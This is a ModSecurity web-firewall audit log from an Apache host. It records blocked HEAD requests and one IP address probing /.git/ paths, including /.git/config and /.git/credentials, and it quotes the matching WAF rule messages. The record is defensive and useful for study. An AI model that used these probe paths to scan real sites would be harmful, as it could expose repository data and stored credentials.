Stopwatch: 1789265088723442 7798 (- - -)
Stopwatch2: 1789265088723442 7798; combined=5642, p1=320, p2=4979, p3=70, p4=7, p5=266, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9d01776-Z--

--98c64347-A--
[13/Sep/2026:05:05:02.840261 +0300] aqYEzkwu1RSkptiiNIXs3wAAAIU 45.91.4.236 38908 127.0.0.1 7081
--98c64347-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.236
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--98c64347-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--98c64347-E--

--98c64347-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265102790181 50135 (- - -)
Stopwatch2: 1789265102790181 50135; combined=39839, p1=3786, p2=28152, p3=95, p4=11, p5=7795, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98c64347-Z--

--8f89892f-A--
[13/Sep/2026:05:05:03.880192 +0300] aqYEz2M7dE9KgIIOpQhcAgAAAMk 45.91.4.188 38914 127.0.0.1 7081
--8f89892f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.188
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8f89892f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8f89892f-E--

--8f89892f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265103856572 23674 (- - -)
Stopwatch2: 1789265103856572 23674; combined=21278, p1=269, p2=16144, p3=148, p4=10, p5=4707, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f89892f-Z--

--8d7b3a30-A--
[13/Sep/2026:05:05:04.823280 +0300] aqYE0GM7dE9KgIIOpQhcAwAAAMU 45.91.4.215 38926 127.0.0.1 7081
--8d7b3a30-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8d7b3a30-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8d7b3a30-E--

--8d7b3a30-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265104811763 11574 (- - -)
Stopwatch2: 1789265104811763 11574; combined=7452, p1=374, p2=6565, p3=137, p4=15, p5=360, sr=147, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8d7b3a30-Z--

--02634f19-A--
[13/Sep/2026:05:07:01.657687 +0300] aqYFRWM7dE9KgIIOpQhcGgAAANY 95.134.102.26 35644 127.0.0.1 7081
--02634f19-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--02634f19-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--02634f19-E--

--02634f19-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265221636594 21184 (- - -)
Stopwatch2: 1789265221636594 21184; combined=6302, p1=400, p2=5219, p3=256, p4=9, p5=417, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02634f19-Z--

--b0b8de12-A--
[13/Sep/2026:05:07:02.008206 +0300] aqYFRWM7dE9KgIIOpQhcGwAAAMQ 151.243.174.176 35658 127.0.0.1 7081
--b0b8de12-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b0b8de12-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b0b8de12-E--

--b0b8de12-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265221998160 10106 (- - -)
Stopwatch2: 1789265221998160 10106; combined=6561, p1=269, p2=5810, p3=126, p4=11, p5=344, sr=104, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0b8de12-Z--

--c6df4b20-A--
[13/Sep/2026:05:07:02.423467 +0300] aqYFRisVWymXUono-eRQdwAAAAE 95.134.102.137 35668 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.137
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c6df4b20-E--

--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265222415581 7938 (- - -)
Stopwatch2: 1789265222415581 7938; combined=6308, p1=814, p2=5032, p3=95, p4=10, p5=356, sr=633, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6df4b20-Z--

--6376c723-A--
[13/Sep/2026:05:07:07.867182 +0300] aqYFSysVWymXUono-eRQegAAAAk 172.86.81.63 50422 127.0.0.1 7081
--6376c723-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--6376c723-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6376c723-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqYFSysVWymXUono-eRQegAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227025833 841398 (- - -)
Stopwatch2: 1789265227025833 841398; combined=3994, p1=207, p2=3752, p3=0, p4=0, p5=35, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6376c723-Z--

--3e65fa7e-A--
[13/Sep/2026:05:07:07.877677 +0300] aqYFSysVWymXUono-eRQfwAAAAw 172.86.81.63 50468 127.0.0.1 7081
--3e65fa7e-B--
GET /.git/description HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--3e65fa7e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3e65fa7e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/description"] [unique_id "aqYFSysVWymXUono-eRQfwAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227078515 799212 (- - -)
Stopwatch2: 1789265227078515 799212; combined=50797, p1=46305, p2=4444, p3=0, p4=0, p5=47, sr=46175, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65fa7e-Z--

--d035486c-A--
[13/Sep/2026:05:07:08.067367 +0300] aqYFSysVWymXUono-eRQgAAAAA8 172.86.81.63 50492 127.0.0.1 7081
--d035486c-B--
GET /.git/logs/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--d035486c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d035486c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/HEAD"] [unique_id "aqYFSysVWymXUono-eRQgAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079119 988306 (- - -)
Stopwatch2: 1789265227079119 988306; combined=59589, p1=43671, p2=15853, p3=0, p4=0, p5=65, sr=43548, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d035486c-Z--

--855a7c45-A--
[13/Sep/2026:05:07:08.079692 +0300] aqYFSysVWymXUono-eRQeQAAAAg 172.86.81.63 50438 127.0.0.1 7081
--855a7c45-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--855a7c45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--855a7c45-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqYFSysVWymXUono-eRQeQAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227025039 1054739 (- - -)
Stopwatch2: 1789265227025039 1054739; combined=24674, p1=20690, p2=3909, p3=0, p4=0, p5=75, sr=20552, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--855a7c45-Z--

--24ef961b-A--
[13/Sep/2026:05:07:08.089534 +0300] aqYFSysVWymXUono-eRQgQAAAAc 172.86.81.63 50420 127.0.0.1 7081
--24ef961b-B--
GET /.git/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--24ef961b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--24ef961b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/HEAD"] [unique_id "aqYFSysVWymXUono-eRQgQAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079507 1010093 (- - -)
Stopwatch2: 1789265227079507 1010093; combined=41594, p1=37153, p2=4391, p3=0, p4=0, p5=50, sr=37006, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24ef961b-Z--

--614e4c16-A--
[13/Sep/2026:05:07:08.242349 +0300] aqYFSysVWymXUono-eRQggAAABA 172.86.81.63 50494 127.0.0.1 7081
--614e4c16-B--
GET /.git/config HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--614e4c16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--614e4c16-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079918 1162478 (- - -)
Stopwatch2: 1789265227079918 1162478; combined=74193, p1=34368, p2=39740, p3=0, p4=0, p5=84, sr=34195, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--614e4c16-Z--

--53c0f73b-A--
[13/Sep/2026:05:07:08.269121 +0300] aqYFSysVWymXUono-eRQfgAAAAo 172.86.81.63 50452 127.0.0.1 7081
--53c0f73b-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--53c0f73b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--53c0f73b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqYFSysVWymXUono-eRQfgAAAAo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227077961 1191218 (- - -)
Stopwatch2: 1789265227077961 1191218; combined=24043, p1=20226, p2=3756, p3=0, p4=0, p5=61, sr=20048, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53c0f73b-Z--

--614e4c16-A--
[13/Sep/2026:05:07:08.294731 +0300] aqYFSzTJ6xTvcJoem7f1HQAAAFg 172.86.81.63 50548 127.0.0.1 7081
--614e4c16-B--
GET /.git/packed-refs HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--614e4c16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--614e4c16-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/packed-refs"] [unique_id "aqYFSzTJ6xTvcJoem7f1HQAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227184026 1110751 (- - -)
Stopwatch2: 1789265227184026 1110751; combined=3886, p1=250, p2=3585, p3=0, p4=0, p5=51, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--614e4c16-Z--

--53c0f73b-A--
[13/Sep/2026:05:07:08.299287 +0300] aqYFSzTJ6xTvcJoem7f1HwAAAEM 172.86.81.63 50566 127.0.0.1 7081
--53c0f73b-B--
GET /.git/credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--53c0f73b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--53c0f73b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1HwAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227195081 1104253 (- - -)
Stopwatch2: 1789265227195081 1104253; combined=3466, p1=185, p2=3234, p3=0, p4=0, p5=46, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53c0f73b-Z--

--1853b25c-A--
[13/Sep/2026:05:07:08.306454 +0300] aqYFSysVWymXUono-eRQhQAAAA4 172.86.81.63 50476 127.0.0.1 7081
--1853b25c-B--
GET /.git/config.save HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--1853b25c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1853b25c-H--
